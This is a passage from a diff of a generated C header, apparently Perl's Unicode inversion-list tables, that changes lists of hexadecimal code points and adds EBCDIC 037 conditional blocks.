+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
 	0x1F18,
 	0x1F1E,
-	0x1F20,
-	0x1F46,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
 	0x1F48,
 	0x1F4E,
-	0x1F50,
-	0x1F58,
 	0x1F59,
 	0x1F5A,
 	0x1F5B,
@@ -59513,188 +198512,502 @@
 	0x1F5D,
 	0x1F5E,
 	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
 	0x1F7E,
 	0x1F80,
+	0x1FB0,
+	0x1FB2,
 	0x1FB5,
-	0x1FB6,
+	0x1FB7,
 	0x1FC5,
-	0x1FC6,
+	0x1FC7,
+	0x1FD0,
+	0x1FD3,
 	0x1FD4,
-	0x1FD6,
+	0x1FD8,
 	0x1FDC,
 	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FE8,
 	0x1FF0,
 	0x1FF2,
 	0x1FF5,
-	0x1FF6,
+	0x1FF7,
 	0x1FFF,
 	0x2000,
-	0x2028,
+	0x2010,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
 	0x202A,
-	0x2065,
-	0x2066,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
 	0x2072,
 	0x2074,
 	0x208F,
 	0x2090,
 	0x209D,
-	0x20A0,
-	0x20BF,
-	0x20D0,
-	0x20F1,
+	0x20A8,
+	0x20A9,
 	0x2100,
-	0x218C,
-	0x2190,
-	0x23FF,
-	0x2400,
-	0x2427,
-	0x2440,
-	0x244B,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2183,
+	0x2184,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
 	0x2460,
-	0x2B74,
-	0x2B76,
-	0x2B96,
-	0x2B98,
-	0x2BBA,
-	0x2BBD,
-	0x2BC9,
-	0x2BCA,
-	0x2BD2,
-	0x2BEC,
-	0x2BF0,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
 	0x2C00,
 	0x2C2F,
-	0x2C30,
-	0x2C5F,
 	0x2C60,
-	0x2CF4,
-	0x2CF9,
-	0x2D26,
-	0x2D27,
-	0x2D28,
-	0x2D2D,
-	0x2D2E,
-	0x2D30,
-	0x2D68,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7C,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
 	0x2D6F,
-	0x2D71,
-	0x2D7F,
-	0x2D97,
-	0x2DA0,
-	0x2DA7,
-	0x2DA8,
-	0x2DAF,
-	0x2DB0,
-	0x2DB7,
-	0x2DB8,
-	0x2DBF,
-	0x2DC0,
-	0x2DC7,
-	0x2DC8,
-	0x2DCF,
-	0x2DD0,
-	0x2DD7,
-	0x2DD8,
-	0x2DDF,
-	0x2DE0,
-	0x2E45,
-	0x2E80,
-	0x2E9A,
-	0x2E9B,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
 	0x2EF4,
 	0x2F00,
 	0x2FD6,
-	0x2FF0,
-	0x2FFC,
 	0x3000,
-	0x3040,
-	0x3041,
-	0x3097,
-	0x3099,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
 	0x3100,
-	0x3105,
-	0x312E,
 	0x3131,
 	0x318F,
-	0x3190,
-	0x31BB,
-	0x31C0,
-	0x31E4,
-	0x31F0,
+	0x3192,
+	0x31A0,
+	0x3200,
 	0x321F,
 	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
 	0x32FF,
 	0x3300,
-	0x4DB6,
-	0x4DC0,
-	0x9FD6,
-	0xA000,
-	0xA48D,
-	0xA490,
-	0xA4C7,
-	0xA4D0,
-	0xA62C,
+	0x3400,
 	0xA640,
-	0xA6F8,
-	0xA700,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA69E,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA771,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
 	0xA7AF,
 	0xA7B0,
-	0xA7B8,
-	0xA7F7,
-	0xA82C,
-	0xA830,
-	0xA83A,
-	0xA840,
-	0xA878,
-	0xA880,
-	0xA8C6,
-	0xA8CE,
-	0xA8DA,
-	0xA8E0,
-	0xA8FE,
-	0xA900,
-	0xA954,
-	0xA95F,
-	0xA97D,
-	0xA980,
-	0xA9CE,
-	0xA9CF,
-	0xA9DA,
-	0xA9DE,
-	0xA9FF,
-	0xAA00,
-	0xAA37,
-	0xAA40,
-	0xAA4E,
-	0xAA50,
-	0xAA5A,
-	0xAA5C,
-	0xAAC3,
-	0xAADB,
-	0xAAF7,
-	0xAB01,
-	0xAB07,
-	0xAB09,
-	0xAB0F,
-	0xAB11,
-	0xAB17,
-	0xAB20,
-	0xAB27,
-	0xAB28,
-	0xAB2F,
-	0xAB30,
-	0xAB66,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
 	0xAB70,
-	0xABEE,
-	0xABF0,
-	0xABFA,
-	0xAC00,
-	0xD7A4,
-	0xD7B0,
-	0xD7C7,
-	0xD7CB,
-	0xD7FC,
-	0xE000,
+	0xABC0,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
 	0xFA6E,
 	0xFA70,
 	0xFADA,
@@ -59703,6 +199016,8 @@
 	0xFB13,
 	0xFB18,
 	0xFB1D,
+	0xFB1E,
+	0xFB1F,
 	0xFB37,
 	0xFB38,
 	0xFB3D,
@@ -59713,18 +199028,20 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFBC2,
+	0xFBB2,
 	0xFBD3,
-	0xFD40,
+	0xFD3E,
 	0xFD50,
 	0xFD90,
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFE,
+	0xFDFD,
 	0xFE00,
 	0xFE1A,
-	0xFE20,
+	0xFE30,
+	0xFE45,
+	0xFE47,
 	0xFE53,
 	0xFE54,
 	0xFE67,
@@ -59731,6 +199048,8 @@
 	0xFE68,
 	0xFE6C,
 	0xFE70,
+	0xFE73,
+	0xFE74,
 	0xFE75,
 	0xFE76,
 	0xFEFD,
@@ -59750,336 +199069,24 @@
 	0xFFE7,
 	0xFFE8,
 	0xFFEF,
+	0xFFF0,
 	0xFFF9,
-	0xFFFE,
-	0x10000,
-	0x1000C,
-	0x1000D,
-	0x10027,
-	0x10028,
-	0x1003B,
-	0x1003C,
-	0x1003E,
-	0x1003F,
-	0x1004E,
-	0x10050,
-	0x1005E,
-	0x10080,
-	0x100FB,
-	0x10100,
-	0x10103,
-	0x10107,
-	0x10134,
-	0x10137,
-	0x1018F,
-	0x10190,
-	0x1019C,
-	0x101A0,
-	0x101A1,
-	0x101D0,
-	0x101FE,
-	0x10280,
-	0x1029D,
-	0x102A0,
-	0x102D1,
-	0x102E0,
-	0x102FC,
-	0x10300,
-	0x10324,
-	0x10330,
-	0x1034B,
-	0x10350,
-	0x1037B,
-	0x10380,
-	0x1039E,
-	0x1039F,
-	0x103C4,
-	0x103C8,
-	0x103D6,
 	0x10400,
-	0x1049E,
-	0x104A0,
-	0x104AA,
+	0x10428,
 	0x104B0,
 	0x104D4,
-	0x104D8,
-	0x104FC,
-	0x10500,
-	0x10528,
-	0x10530,
-	0x10564,
-	0x1056F,
-	0x10570,
-	0x10600,
-	0x10737,
-	0x10740,
-	0x10756,
-	0x10760,
-	0x10768,
-	0x10800,
-	0x10806,
-	0x10808,
-	0x10809,
-	0x1080A,
-	0x10836,
-	0x10837,
-	0x10839,
-	0x1083C,
-	0x1083D,
-	0x1083F,
-	0x10856,
-	0x10857,
-	0x1089F,
-	0x108A7,
-	0x108B0,
-	0x108E0,
-	0x108F3,
-	0x108F4,
-	0x108F6,
-	0x108FB,
-	0x1091C,
-	0x1091F,
-	0x1093A,
-	0x1093F,
-	0x10940,
-	0x10980,
-	0x109B8,
-	0x109BC,
-	0x109D0,
-	0x109D2,
-	0x10A04,
-	0x10A05,
-	0x10A07,
-	0x10A0C,
-	0x10A14,
-	0x10A15,
-	0x10A18,
-	0x10A19,
-	0x10A34,
-	0x10A38,
-	0x10A3B,
-	0x10A3F,
-	0x10A48,
-	0x10A50,
-	0x10A59,
-	0x10A60,
-	0x10AA0,
-	0x10AC0,
-	0x10AE7,
-	0x10AEB,
-	0x10AF7,
-	0x10B00,
-	0x10B36,
-	0x10B39,
-	0x10B56,
-	0x10B58,
-	0x10B73,
-	0x10B78,
-	0x10B92,
-	0x10B99,
-	0x10B9D,
-	0x10BA9,
-	0x10BB0,
-	0x10C00,
-	0x10C49,
 	0x10C80,
 	0x10CB3,
-	0x10CC0,
-	0x10CF3,
-	0x10CFA,
-	0x10D00,
-	0x10E60,
-	0x10E7F,
-	0x11000,
-	0x1104E,
-	0x11052,
-	0x11070,
-	0x1107F,
-	0x110C2,
-	0x110D0,
-	0x110E9,
-	0x110F0,
-	0x110FA,
-	0x11100,
-	0x11135,
-	0x11136,
-	0x11144,
-	0x11150,
-	0x11177,
-	0x11180,
-	0x111CE,
-	0x111D0,
-	0x111E0,
-	0x111E1,
-	0x111F5,
-	0x11200,
-	0x11212,
-	0x11213,
-	0x1123F,
-	0x11280,
-	0x11287,
-	0x11288,
-	0x11289,
-	0x1128A,
-	0x1128E,
-	0x1128F,
-	0x1129E,
-	0x1129F,
-	0x112AA,
-	0x112B0,
-	0x112EB,
-	0x112F0,
-	0x112FA,
-	0x11300,
-	0x11304,
-	0x11305,
-	0x1130D,
-	0x1130F,
-	0x11311,
-	0x11313,
-	0x11329,
-	0x1132A,
-	0x11331,
-	0x11332,
-	0x11334,
-	0x11335,
-	0x1133A,
-	0x1133C,
-	0x11345,
-	0x11347,
-	0x11349,
-	0x1134B,
-	0x1134E,
-	0x11350,
-	0x11351,
-	0x11357,
-	0x11358,
-	0x1135D,
-	0x11364,
-	0x11366,
-	0x1136D,
-	0x11370,
-	0x11375,
-	0x11400,
-	0x1145A,
-	0x1145B,
-	0x1145C,
-	0x1145D,
-	0x1145E,
-	0x11480,
-	0x114C8,
-	0x114D0,
-	0x114DA,
-	0x11580,
-	0x115B6,
-	0x115B8,
-	0x115DE,
-	0x11600,
-	0x11645,
-	0x11650,
-	0x1165A,
-	0x11660,
-	0x1166D,
-	0x11680,
-	0x116B8,
-	0x116C0,
-	0x116CA,
-	0x11700,
-	0x1171A,
-	0x1171D,
-	0x1172C,
-	0x11730,
-	0x11740,
 	0x118A0,
-	0x118F3,
-	0x118FF,
-	0x11900,
-	0x11AC0,
-	0x11AF9,
-	0x11C00,
-	0x11C09,
-	0x11C0A,
-	0x11C37,
-	0x11C38,
-	0x11C46,
-	0x11C50,
-	0x11C6D,
-	0x11C70,
-	0x11C90,
-	0x11C92,
-	0x11CA8,
-	0x11CA9,
-	0x11CB7,
-	0x12000,
-	0x1239A,
-	0x12400,
-	0x1246F,
-	0x12470,
-	0x12475,
-	0x12480,
-	0x12544,
-	0x13000,
-	0x1342F,
-	0x14400,
-	0x14647,
-	0x16800,
-	0x16A39,
-	0x16A40,
-	0x16A5F,
-	0x16A60,
-	0x16A6A,
-	0x16A6E,
-	0x16A70,
-	0x16AD0,
-	0x16AEE,
-	0x16AF0,
-	0x16AF6,
-	0x16B00,
-	0x16B46,
-	0x16B50,
-	0x16B5A,
-	0x16B5B,
-	0x16B62,
-	0x16B63,
-	0x16B78,
-	0x16B7D,
-	0x16B90,
-	0x16F00,
-	0x16F45,
-	0x16F50,
-	0x16F7F,
-	0x16F8F,
-	0x16FA0,
-	0x16FE0,
-	0x16FE1,
-	0x17000,
-	0x187ED,
-	0x18800,
-	0x18AF3,
-	0x1B000,
-	0x1B002,
-	0x1BC00,
-	0x1BC6B,
-	0x1BC70,
-	0x1BC7D,
-	0x1BC80,
-	0x1BC89,
-	0x1BC90,
-	0x1BC9A,
-	0x1BC9C,
+	0x118C0,
+	0x1BCA0,
 	0x1BCA4,
-	0x1D000,
-	0x1D0F6,
-	0x1D100,
-	0x1D127,
-	0x1D129,
-	0x1D1E9,
-	0x1D200,
-	0x1D246,
-	0x1D300,
-	0x1D357,
-	0x1D360,
-	0x1D372,
+	0x1D15E,
+	0x1D165,
+	0x1D173,
+	0x1D17B,
+	0x1D1BB,
+	0x1D1C1,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -60121,31 +199128,9 @@
 	0x1D6A8,
 	0x1D7CC,
 	0x1D7CE,
-	0x1DA8C,
-	0x1DA9B,
-	0x1DAA0,
-	0x1DAA1,
-	0x1DAB0,
-	0x1E000,
-	0x1E007,
-	0x1E008,
-	0x1E019,
-	0x1E01B,
-	0x1E022,
-	0x1E023,
-	0x1E025,
-	0x1E026,
-	0x1E02B,
-	0x1E800,
-	0x1E8C5,
-	0x1E8C7,
-	0x1E8D7,
+	0x1D800,
 	0x1E900,
-	0x1E94B,
-	0x1E950,
-	0x1E95A,
-	0x1E95E,
-	0x1E960,
+	0x1E922,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -60212,29 +199197,17 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1EEF0,
-	0x1EEF2,
-	0x1F000,
-	0x1F02C,
-	0x1F030,
-	0x1F094,
-	0x1F0A0,
-	0x1F0AF,
-	0x1F0B1,
-	0x1F0C0,
-	0x1F0C1,
-	0x1F0D0,
-	0x1F0D1,
-	0x1F0F6,
 	0x1F100,
-	0x1F10D,
+	0x1F10B,
 	0x1F110,
 	0x1F12F,
 	0x1F130,
+	0x1F150,
+	0x1F16A,
 	0x1F16C,
-	0x1F170,
-	0x1F1AD,
-	0x1F1E6,
+	0x1F190,
+	0x1F191,
+	0x1F200,
 	0x1F203,
 	0x1F210,
 	0x1F23C,
@@ -60242,438 +199215,2866 @@
 	0x1F249,
 	0x1F250,
 	0x1F252,
-	0x1F300,
-	0x1F6D3,
-	0x1F6E0,
-	0x1F6ED,
-	0x1F6F0,
-	0x1F6F7,
-	0x1F700,
-	0x1F774,
-	0x1F780,
-	0x1F7D5,
-	0x1F800,
-	0x1F80C,
-	0x1F810,
-	0x1F848,
-	0x1F850,
-	0x1F85A,
-	0x1F860,
-	0x1F888,
-	0x1F890,
-	0x1F8AE,
-	0x1F910,
-	0x1F91F,
-	0x1F920,
-	0x1F928,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93F,
-	0x1F940,
-	0x1F94C,
-	0x1F950,
-	0x1F95F,
-	0x1F980,
-	0x1F992,
-	0x1F9C0,
-	0x1F9C1,
-	0x20000,
-	0x2A6D7,
-	0x2A700,
-	0x2B735,
-	0x2B740,
-	0x2B81E,
-	0x2B820,
-	0x2CEA2,
 	0x2F800,
 	0x2FA1E,
-	0xE0001,
-	0xE0002,
-	0xE0020,
-	0xE0080,
-	0xE0100,
-	0xE01F0,
-	0xF0000,
-	0xFFFFE,
-	0x100000,
-	0x10FFFE
+	0xE0000,
+	0xE1000
 };
 
-static const UV XPosixPunct_invlist[] = { /* for EBCDIC 1047 */
-	335,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWKCF_invlist[] = { /* for EBCDIC 037 */
+	1639,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x4B,
-	0x51,
+	0x41,
+	0x42,
+	0x59,
 	0x5A,
 	0x62,
-	0x6B,
-	0x70,
+	0x6A,
+	0x71,
 	0x79,
 	0x80,
-	0x8A,
-	0x8C,
+	0x81,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9F,
+	0xA0,
 	0xA1,
-	0xA2,
-	0xAA,
 	0xAC,
-	0xAD,
-	0xAE,
-	0xB3,
-	0xB4,
-	0xB5,
+	0xAF,
 	0xB7,
-	0xBD,
-	0xBE,
-	0xC0,
+	0xBA,
+	0xBC,
+	0xBF,
 	0xC1,
-	0xD0,
+	0xCB,
 	0xD1,
-	0xE0,
-	0xE1,
+	0xDB,
+	0xE2,
+	0xF0,
+	0xFA,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x346,
+	0x34F,
+	0x350,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x375,
+	0x376,
+	0x377,
+	0x37A,
+	0x37B,
 	0x37E,
-	0x37F,
-	0x387,
-	0x388,
-	0x55A,
-	0x560,
-	0x589,
-	0x58B,
-	0x5BE,
-	0x5BF,
-	0x5C0,
-	0x5C1,
-	0x5C3,
-	0x5C4,
-	0x5C6,
-	0x5C7,
-	0x5F3,
-	0x5F5,
-	0x609,
-	0x60B,
-	0x60C,
-	0x60E,
-	0x61B,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
